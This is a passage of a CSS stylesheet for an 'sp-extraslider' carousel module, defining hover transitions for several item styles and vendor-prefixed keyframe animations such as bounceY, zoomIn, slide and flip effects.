	position:relative;

	text-align:center;

	text-transform:uppercase;

	-webkit-transform:translateY(-200%);

	-moz-transform:translateY(-200%);

	-o-transform:translateY(-200%);

	-ms-transform:translateY(-200%);

	transform:translateY(-200%);

	-webkit-transition:all 0.2s ease-in-out 0.1s;

	-moz-transition:all 0.2s ease-in-out 0.1s;

	-o-transition:all 0.2s ease-in-out 0.1s;

	-ms-transition:all 0.2s ease-in-out 0.1s;

	transition:all 0.2s ease-in-out 0.1s

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-related, .sp-extraslider .extraslider-inner .item-wrap.style4 .item-related h4, .sp-extraslider .extraslider-inner .item-wrap.style4 .item-related ul a {

	color:#333

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-price, .sp-extraslider .extraslider-inner .item-wrap.style4 .item-description {

	text-align:left;

	color:#333;

	-webkit-transform:translateY(-500%);

	-moz-transform:translateY(-500%);

	-o-transform:translateY(-500%);

	-ms-transform:translateY(-500%);

	transform:translateY(-500%);

	-webkit-transition:all 0.2s ease-in-out 0.2s;

	-moz-transition:all 0.2s ease-in-out 0.2s;

	-o-transition:all 0.2s ease-in-out 0.2s;

	-ms-transition:all 0.2s ease-in-out 0.2s;

	transition:all 0.2s ease-in-out 0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-price {

	text-align:center;

	color:#F30000

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-tags {

	text-align:left;

	color:#333;

	-webkit-transform:translateY(-700%);

	-moz-transform:translateY(-700%);

	-o-transform:translateY(-700%);

	-ms-transform:translateY(-700%);

	transform:translateY(-700%);

	-webkit-transition:all 0.2s ease-in-out 0.2s;

	-moz-transition:all 0.2s ease-in-out 0.2s;

	-o-transition:all 0.2s ease-in-out 0.2s;

	-ms-transition:all 0.2s ease-in-out 0.2s;

	transition:all 0.2s ease-in-out 0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-tags a {

	color:#333

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-readmore {

	background:none repeat scroll 0 0 #000000;

	box-shadow:0 0 1px #000000;

	color:#FFFFFF;

	display:inline-block;

	padding:2px 5px;

	text-decoration:none;

	-webkit-transform:translateY(-1000%);

	-moz-transform:translateY(-1000%);

	-o-transform:translateY(-1000%);

	-ms-transform:translateY(-1000%);

	transform:translateY(-1000%);

	-webkit-transition:all 0.2s ease-in-out 0.3s;

	-moz-transition:all 0.2s ease-in-out 0.3s;

	-o-transition:all 0.2s ease-in-out 0.3s;

	-ms-transition:all 0.2s ease-in-out 0.3s;

	transition:all 0.2s ease-in-out 0.3s

}

.sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-info {

	top:0;

	-webkit-transition-delay:0s;

	-moz-transition-delay:0s;

	-o-transition-delay:0s;

	-ms-transition-delay:0s;

	transition-delay:0s;

	-webkit-animation:bounceY 0.9s linear;

	-moz-animation:bounceY 0.9s linear;

	-ms-animation:bounceY 0.9s linear;

	animation:bounceY 0.9s linear

}

.sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-title {

	-webkit-transform:translateY(0%);

	-moz-transform:translateY(0%);

	-o-transform:translateY(0%);

	-ms-transform:translateY(0%);

	transform:translateY(0%);

	-webkit-transition-delay:0.2s;

	-moz-transition-delay:0.2s;

	-o-transition-delay:0.2s;

	-ms-transition-delay:0.2s;

	transition-delay:0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-description {

	-webkit-transform:translateY(0%);

	-moz-transform:translateY(0%);

	-o-transform:translateY(0%);

	-ms-transform:translateY(0%);

	transform:translateY(0%);

	-webkit-transition-delay:0.2s;

	-moz-transition-delay:0.2s;

	-o-transition-delay:0.2s;

	-ms-transition-delay:0.2s;

	transition-delay:0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-tags {

	-webkit-transform:translateY(0%);

	-moz-transform:translateY(0%);

	-o-transform:translateY(0%);

	-ms-transform:translateY(0%);

	transform:translateY(0%);

	-webkit-transition-delay:0.2s;

	-moz-transition-delay:0.2s;

	-o-transition-delay:0.2s;

	-ms-transition-delay:0.2s;

	transition-delay:0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style4:hover .item-readmore {

	-webkit-transform:translateY(0%);

	-moz-transform:translateY(0%);

	-o-transform:translateY(0%);

	-ms-transform:translateY(0%);

	transform:translateY(0%);

	-webkit-transition-delay:0s;

	-moz-transition-delay:0s;

	-o-transition-delay:0s;

	-ms-transition-delay:0s;

	transition-delay:0s

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-readmore a {

	color:#FFF

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-title a {

	color:#FFF;

	text-transform:uppercase;

	font-weight:bold

}

@keyframes bounceY {

0% {

transform:translateY(-103%)

}

40% {

transform:translateY(-50%)

}

65% {

transform:translateY(-25%)

}

82% {

transform:translateY(-12%)

}

92% {

transform:translateY(-5%)

}

55%, 75%, 87%, 97%, 100% {

transform:translateY(0%)

}

}

@-moz-keyframes bounceY {

0% {

-moz-transform:translateY(-1023%)

}

40% {

-moz-transform:translateY(-50%)

}

65% {

-moz-transform:translateY(-25%)

}

82% {

-moz-transform:translateY(-12%)

}

92% {

-moz-transform:translateY(-5%)

}

55%, 75%, 87%, 97%, 100% {

-moz-transform:translateY(0%)

}

}

@-webkit-keyframes bounceY {

0% {

-webkit-transform:translateY(-103%)

}

40% {

-webkit-transform:translateY(-50%)

}

65% {

-webkit-transform:translateY(-25%)

}

82% {

-webkit-transform:translateY(-12%)

}

92% {

-webkit-transform:translateY(-5%)

}

55%, 75%, 87%, 97%, 100% {

-webkit-transform:translateY(0%)

}

}

.sp-extraslider .extraslider-inner .item-wrap.style5 {

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap.style5 img {

	-webkit-transform:scaleY(1);

	-moz-transform:scaleY(1);

	-o-transform:scaleY(1);

	-ms-transform:scaleY(1);

	transform:scaleY(1);

	-webkit-transition:all 0.5s ease-in-out;

	-moz-transition:all 0.5s ease-in-out;

	-o-transition:all 0.5s ease-in-out;

	-ms-transition:all 0.5s ease-in-out;

	transition:all 0.5s ease-in-out;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-info {

	text-align:center;

	position:absolute;

	top:0;

	left:0;

	height:100%;

	background:#333;

	-webkit-transition:all 0.3s linear;

	-moz-transition:all 0.3s linear;

	-o-transition:all 0.3s linear;

	-ms-transition:all 0.3s linear;

	transition:all 0.3s linear;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

	filter:alpha(opacity=0);

	opacity:0

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-title {

	text-transform:uppercase;

	border-bottom:#666 solid 1px;

	background:transparent;

	margin:10px 10px 0 10px;

	padding-bottom:7px;

	-webkit-transform:scale(0);

	-moz-transform:scale(0);

	-o-transform:scale(0);

	-ms-transform:scale(0);

	transform:scale(0);

	color:#333;

	-webkit-transition:all 0.3s linear;

	-moz-transition:all 0.3s linear;

	-o-transition:all 0.3s linear;

	-ms-transition:all 0.3s linear;

	transition:all 0.3s linear;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

	filter:alpha(opacity=0);

	opacity:0

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-description {

	text-align:left;

	color:#FFF;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transform:scale(0);

	-moz-transform:scale(0);

	-o-transform:scale(0);

	-ms-transform:scale(0);

	transform:scale(0);

	-webkit-transition:all 0.3s linear;

	-moz-transition:all 0.3s linear;

	-o-transition:all 0.3s linear;

	-ms-transition:all 0.3s linear;

	transition:all 0.3s linear

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-readmore {

	text-align:center;

	background:none repeat scroll 0 0 #000000;

	box-shadow:0 0 1px #000000;

	color:#FFFFFF;

	display:inline-block;

	padding:2px 10px;

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transform:scale(0);

	-moz-transform:scale(0);

	-o-transform:scale(0);

	-ms-transform:scale(0);

	transform:scale(0);

	-webkit-transition:all 0.3s linear;

	-moz-transition:all 0.3s linear;

	-o-transition:all 0.3s linear;

	-ms-transition:all 0.3s linear;

	transition:all 0.3s linear

}

.sp-extraslider .extraslider-inner .item-wrap.style5:hover img {

	-webkit-transform:scale(10);

	-moz-transform:scale(10);

	-o-transform:scale(10);

	-ms-transform:scale(10);

	transform:scale(10);

	filter:alpha(opacity=0);

	opacity:0;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style5:hover .item-info {

	filter:alpha(opacity=100);

	opacity:1

}

.sp-extraslider .extraslider-inner .item-wrap.style5:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style5:hover .item-title, .sp-extraslider .extraslider-inner .item-wrap.style5:hover .item-description, .sp-extraslider .extraslider-inner .item-wrap.style5:hover .item-readmore {

	-webkit-transform:scale(1);

	-moz-transform:scale(1);

	-o-transform:scale(1);

	-ms-transform:scale(1);

	transform:scale(1);

	filter:alpha(opacity=100);

	opacity:1

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-readmore a {

	color:#FFF

}

.sp-extraslider .extraslider-inner .item-wrap.style5 .item-title a {

	color:#FFF;

	margin-top:7px

}

.sp-extraslider .extraslider-inner .item-wrap.style6 {

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap.style6 img {

	-webkit-transition:all 0.2s linear;

	-moz-transition:all 0.2s linear;

	-o-transition:all 0.2s linear;

	-ms-transition:all 0.2s linear;

	transition:all 0.2s linear;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-info {

	position:absolute;

	top:0;

	left:0;

	height:100%;

	padding:0;

	text-align:center;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

	filter:alpha(opacity=0);

	opacity:0;

	background-color:rgba(0, 0, 0, 0.7);

	-webkit-transition:all 0.4s ease-in-out;

	-moz-transition:all 0.4s ease-in-out;

	-o-transition:all 0.4s ease-in-out;

	-ms-transition:all 0.4s ease-in-out;

	transition:all 0.4s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-info .item-content {

	padding:5px

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-title {

	background:#FFF;

	opacity:0.5;

	filter:alpha(opacity=50);

	font-size:17px;

	padding:5px;

	margin-top:5%;

	text-align:center;

	text-transform:uppercase;

	-webkit-transform:translateY(-100px);

	-moz-transform:translateY(-100px);

	-o-transform:translateY(-100px);

	-ms-transform:translateY(-100px);

	transform:translateY(-100px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-price, .sp-extraslider .extraslider-inner .item-wrap.style6 .item-description {

	text-align:left;

	-webkit-transform:translateY(100px);

	-moz-transform:translateY(100px);

	-o-transform:translateY(100px);

	-ms-transform:translateY(100px);

	transform:translateY(100px);

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transition:all 0.2s linear;

	-moz-transition:all 0.2s linear;

	-o-transition:all 0.2s linear;

	-ms-transition:all 0.2s linear;

	transition:all 0.2s linear

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover img {

	-webkit-transform:scale(1.1, 1.1);

	-moz-transform:scale(1.1, 1.1);

	-o-transform:scale(1.1, 1.1);

	-ms-transform:scale(1.1, 1.1);

	transform:scale(1.1, 1.1);

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-readmore {

	background:none repeat scroll 0 0 #000000;

	box-shadow:0 0 1px #000000;

	color:#FFFFFF;

	display:inline-block;

	padding:2px 10px;

	text-align:center;

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-info {

	filter:alpha(opacity=100);

	opacity:1

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-title, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-description, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-readmore {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px)

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-description, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-readmore {

	filter:alpha(opacity=100);

	opacity:1

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-description {

	-webkit-transition-delay:0.1s;

	-moz-transition-delay:0.1s;

	-o-transition-delay:0.1s;

	-ms-transition-delay:0.1s;

	transition-delay:0.1s

}

.sp-extraslider .extraslider-inner .item-wrap.style6:hover .item-readmore {

	-webkit-transition-delay:0.2s;

	-moz-transition-delay:0.2s;

	-o-transition-delay:0.2s;

	-ms-transition-delay:0.2s;

	transition-delay:0.2s

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-readmore a {

	color:#FFF

}

.sp-extraslider .extraslider-inner .item-wrap.style6 .item-title a {

	color:#000;

	text-transform:uppercase;

	font-weight:bold

}

.sp-extraslider .extraslider-inner .item-wrap.style7 {

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap.style7 img {

	-webkit-transition:all 0.5s ease-out;

	-moz-transition:all 0.5s ease-out;

	-o-transition:all 0.5s ease-out;

	-ms-transition:all 0.5s ease-out;

	transition:all 0.5s ease-out;

	filter:alpha(opacity=100);

	opacity:1;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-info {

	position:absolute;

	top:0;

	left:0;

	height:100%;

	text-align:center;

	padding:0;

	background-color:#333;

	-webkit-transform:rotate(0deg) scale(1);

	-moz-transform:rotate(0deg) scale(1);

	-o-transform:rotate(0deg) scale(1);

	-ms-transform:rotate(0deg) scale(1);

	transform:rotate(0deg) scale(1);

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transition:all 0.3s ease-out;

	-moz-transition:all 0.3s ease-out;

	-o-transition:all 0.3s ease-out;

	-ms-transition:all 0.3s ease-out;

	transition:all 0.3s ease-out

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-info .item-content {

	padding:5px

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-title {

	background:#FFF;

	opacity:0.5;

	filter:alpha(opacity=50);

	font-size:17px;

	margin-top:5%;

	padding:5px;

	text-align:center;

	text-transform:uppercase;

	-webkit-transform:translateY(-200px);

	-moz-transform:translateY(-200px);

	-o-transform:translateY(-200px);

	-ms-transform:translateY(-200px);

	transform:translateY(-200px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-price, .sp-extraslider .extraslider-inner .item-wrap.style7 .item-description {

	text-align:left;

	-webkit-transform:translateY(-200px);

	-moz-transform:translateY(-200px);

	-o-transform:translateY(-200px);

	-ms-transform:translateY(-200px);

	transform:translateY(-200px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-readmore {

	background:none repeat scroll 0 0 #000000;

	box-shadow:0 0 1px #000000;

	color:#FFFFFF;

	display:inline-block;

	padding:2px 10px;

	text-align:center;

	-webkit-transform:translateY(-200px);

	-moz-transform:translateY(-200px);

	-o-transform:translateY(-200px);

	-ms-transform:translateY(-200px);

	transform:translateY(-200px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style7:hover img {

	-webkit-transform:rotate(720deg) scale(0);

	-moz-transform:rotate(720deg) scale(0);

	-o-transform:rotate(720deg) scale(0);

	-ms-transform:rotate(720deg) scale(0);

	transform:rotate(720deg) scale(0);

	filter:alpha(opacity=0);

	opacity:0;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style7:hover .item-info {

	filter:alpha(opacity=100);

	opacity:1;

	-webkit-transform:translateY(0px) rotate(0deg);

	-moz-transform:translateY(0px) rotate(0deg);

	-o-transform:translateY(0px) rotate(0deg);

	-ms-transform:translateY(0px) rotate(0deg);

	transform:translateY(0px) rotate(0deg);

	-webkit-transition-delay:0.4s;

	-moz-transition-delay:0.4s;

	-o-transition-delay:0.4s;

	-ms-transition-delay:0.4s;

	transition-delay:0.4s

}

.sp-extraslider .extraslider-inner .item-wrap.style7:hover .item-title {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px);

	-webkit-transition-delay:0.7s;

	-moz-transition-delay:0.7s;

	-o-transition-delay:0.7s;

	-ms-transition-delay:0.7s;

	transition-delay:0.7s

}

.sp-extraslider .extraslider-inner .item-wrap.style7:hover .item-description {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px);

	-webkit-transition-delay:0.6s;

	-moz-transition-delay:0.6s;

	-o-transition-delay:0.6s;

	-ms-transition-delay:0.6s;

	transition-delay:0.6s

}

.sp-extraslider .extraslider-inner .item-wrap.style7:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style7:hover .item-readmore {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px);

	-webkit-transition-delay:0.5s;

	-moz-transition-delay:0.5s;

	-o-transition-delay:0.5s;

	-ms-transition-delay:0.5s;

	transition-delay:0.5s

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-readmore a {

	color:#FFF

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-title a {

	color:#000;

	text-transform:uppercase;

	font-weight:bold

}

.sp-extraslider .extraslider-inner .item-wrap.style7 .item-price, .sp-extraslider .extraslider-inner .item-wrap.style6 .item-price {

	text-align:center;

	color:#F30000

}

.sp-extraslider .extraslider-inner[data-effect="fadeIn"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="fadeIn"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes fadeIn {

0% {

opacity:0

}

100% {

opacity:1

}

}

@-moz-keyframes fadeIn {

0% {

opacity:0

}

100% {

opacity:1

}

}

@-o-keyframes fadeIn {

0% {

opacity:0

}

100% {

opacity:1

}

}

@keyframes fadeIn {

0% {

opacity:0

}

100% {

opacity:1

}

}

.sp-extraslider .extraslider-inner[data-effect="zoomIn"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="zoomIn"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes zoomIn {

0% {

opacity:0;

-webkit-transform:scale(1.8)

}

100% {

opacity:1;

-webkit-transform:scale(1)

}

}

@-moz-keyframes zoomIn {

0% {

opacity:0;

-moz-transform:scale(1.8)

}

100% {

opacity:1;

-moz-transform:scale(1)

}

}

@-o-keyframes zoomIn {

0% {

opacity:0;

-o-transform:scale(1.8)

}

100% {

opacity:1;

-o-transform:scale(1)

}

}

@keyframes zoomIn {

0% {

opacity:0;

transform:scale(1.8)

}

100% {

opacity:1;

transform:scale(1)

}

}

.sp-extraslider .extraslider-inner[data-effect="zoomOut"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation:zoomOut 600ms ease both;

	-webkit-animation-play-state:paused;

	-moz-animation:zoomOut 600ms ease both;

	-moz-animation-play-state:paused;

	-o-animation:zoomOut 600ms ease both;

	-o-animation-play-state:paused;

	animation:zoomOut 600ms ease both;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="zoomOut"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes zoomOut {

0% {

opacity:0;

-webkit-transform:scale(0.6)

}

100% {

opacity:1;

-webkit-transform:scale(1)

}

}

@-moz-keyframes zoomOut {

0% {

opacity:0;

-moz-transform:scale(0.6)

}

100% {

opacity:1;

-moz-transform:scale(1)

}

}

@-o-keyframes zoomOut {

0% {

opacity:0;

-o-transform:scale(0.6)

}

100% {

opacity:1;

-o-transform:scale(1)

}

}

@keyframes zoomOut {

0% {

opacity:0;

transform:scale(0.6)

}

100% {

opacity:1;

transform:scale(1)

}

}

.sp-extraslider .extraslider-inner[data-effect="slideLeft"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="slideLeft"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes slideLeft {

0% {

opacity:0;

left:-30px

}

100% {

opacity:1;

left:0

}

}

@-moz-keyframes slideLeft {

0% {

opacity:0;

left:-30px

}

100% {

opacity:1;

left:0

}

}

@-o-keyframes slideLeft {

0% {

opacity:0;

left:-30px

}

100% {

opacity:1;

left:0

}

}

@keyframes slideLeft {

0% {

opacity:0;

left:-30px

}

100% {

opacity:1;

left:0

}

}

.sp-extraslider .extraslider-inner[data-effect="slideRight"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="slideRight"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes slideRight {

0% {

opacity:0;

left:30px

}

100% {

opacity:1;

left:0

}

}

@-moz-keyframes slideRight {

0% {

opacity:0;

left:30px

}

100% {

opacity:1;

left:0

}

}

@-o-keyframes slideRight {

0% {

opacity:0;

left:30px

}

100% {

opacity:1;

left:0

}

}

@keyframes slideRight {

0% {

opacity:0;

left:30px

}

100% {

opacity:1;

left:0

}

}

.sp-extraslider .extraslider-inner[data-effect="slideTop"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="slideTop"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes slideTop {

0% {

opacity:0;

top:-30px

}

100% {

opacity:1;

top:0

}

}

@-moz-keyframes slideTop {

0% {

opacity:0;

top:-30px

}

100% {

opacity:1;

top:0

}

}

@-o-keyframes slideTop {

0% {

opacity:0;

top:-30px

}

100% {

opacity:1;

top:0

}

}

@keyframes slideTop {

0% {

opacity:0;

top:-30px

}

100% {

opacity:1;

top:0

}

}

.sp-extraslider .extraslider-inner[data-effect="slideBottom"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation:slideBottom 600ms ease both;

	-webkit-animation-play-state:paused;

	-moz-animation:slideBottom 600ms ease both;

	-moz-animation-play-state:paused;

	-o-animation:slideBottom 600ms ease both;

	-o-animation-play-state:paused;

	animation:slideBottom 600ms ease both;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="slideBottom"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes slideBottom {

0% {

opacity:0;

top:30px

}

100% {

opacity:1;

top:0

}

}

@-moz-keyframes slideBottom {

0% {

opacity:0;

top:30px

}

100% {

opacity:1;

top:0

}

}

@-o-keyframes slideBottom {

0% {

opacity:0;

top:30px

}

100% {

opacity:1;

top:0

}

}

@keyframes slideBottom {

0% {

opacity:0;

top:30px

}

100% {

opacity:1;

top:0

}

}

.sp-extraslider .extraslider-inner[data-effect="flip"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-webkit-backface-visibility:visible;

	-moz-animation-play-state:paused;

	-moz-backface-visibility:visible;

	-o-animation-play-state:paused;

	-o-backface-visibility:visible;

	animation-play-state:paused;

	backface-visibility:visible

}

.sp-extraslider .extraslider-inner[data-effect="flip"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes flip {

0% {

opacity:0;

-webkit-transform:perspective(500px) rotateY(0deg);

-webkit-animation-timing-function:ease-out

}

40% {

-webkit-transform:perspective(500px) translateZ(150px) rotateY(170deg);

-webkit-animation-timing-function:ease-out

}

50% {

-webkit-transform:perspective(500px) translateZ(150px) rotateY(190deg) scale(1);

-webkit-animation-timing-function:ease-in

}

80% {

-webkit-transform:perspective(500px) rotateY(360deg) scale(0.95);

-webkit-animation-timing-function:ease-in

}

100% {

opacity:1;

-webkit-transform:perspective(500px) scale(1);

-webkit-animation-timing-function:ease-in

}

}

@-moz-keyframes flip {

0% {

opacity:0;

-moz-transform:perspective(500px) rotateY(0deg);

-moz-animation-timing-function:ease-out

}

40% {

-moz-transform:perspective(500px) translateZ(150px) rotateY(170deg);

-moz-animation-timing-function:ease-out

}

50% {

-moz-transform:perspective(500px) translateZ(150px) rotateY(190deg) scale(1);

-moz-animation-timing-function:ease-in

}

80% {

-moz-transform:perspective(500px) rotateY(360deg) scale(0.95);

-moz-animation-timing-function:ease-in

}

100% {

opacity:1;

-moz-transform:perspective(500px) scale(1);

-moz-animation-timing-function:ease-in

}

}

@-o-keyframes flip {

0% {

opacity:0;

-o-transform:perspective(500px) rotateY(0deg);

-o-animation-timing-function:ease-out

}

40% {

-o-transform:perspective(500px) translateZ(150px) rotateY(170deg);

-o-animation-timing-function:ease-out

}

50% {

-o-transform:perspective(500px) translateZ(150px) rotateY(190deg) scale(1);

-o-animation-timing-function:ease-in

}

80% {

-o-transform:perspective(500px) rotateY(360deg) scale(0.95);

-o-animation-timing-function:ease-in

}

100% {

opacity:1;

-o-transform:perspective(500px) scale(1);

-o-animation-timing-function:ease-in

}

}

@keyframes flip {

0% {

opacity:0;

transform:perspective(500px) rotateY(0deg);

animation-timing-function:ease-out

}

40% {

transform:perspective(500px) translateZ(150px) rotateY(170deg);

animation-timing-function:ease-out

}

50% {

transform:perspective(500px) translateZ(150px) rotateY(190deg) scale(1);

animation-timing-function:ease-in

}

80% {

transform:perspective(500px) rotateY(360deg) scale(0.95);

animation-timing-function:ease-in

}

100% {

opacity:1;

transform:perspective(500px) scale(1);

animation-timing-function:ease-in

}

}

.sp-extraslider .extraslider-inner[data-effect="flipInX"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-webkit-backface-visibility:visible;

	-moz-animation-play-state:paused;

	-moz-backface-visibility:visible;

	-o-animation-play-state:paused;

	-o-backface-visibility:visible;

	animation-play-state:paused;

	backface-visibility:visible

}

.sp-extraslider .extraslider-inner[data-effect="flipInX"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes flipInX {

0% {

opacity:0;

-webkit-transform:perspective(400px) rotateX(85deg)

}

40% {

-webkit-transform:perspective(400px) rotateX(-20deg)

}

70% {

-webkit-transform:perspective(400px) rotateX(15deg)

}

90% {

-webkit-transform:perspective(400px) rotateX(-5deg)

}

100% {

opacity:1;

-webkit-transform:perspective(400px) rotateX(0deg)

}

}

@-moz-keyframes flipInX {

0% {

opacity:0;

-moz-transform:perspective(400px) rotateX(85deg)

}

40% {

-moz-transform:perspective(400px) rotateX(-20deg)

}

70% {

-moz-transform:perspective(400px) rotateX(15deg)

}

90% {

-moz-transform:perspective(400px) rotateX(-5deg)

}

100% {

opacity:1;

-moz-transform:perspective(400px) rotateX(0deg)

}

}

@-o-keyframes flipInX {

0% {

opacity:0;

-o-transform:perspective(400px) rotateX(85deg)

}

40% {

-o-transform:perspective(400px) rotateX(-20deg)

}

70% {

-o-transform:perspective(400px) rotateX(15deg)

}

90% {

-o-transform:perspective(400px) rotateX(-5deg)

}

100% {

opacity:1;

-o-transform:perspective(400px) rotateX(0deg)

}

}

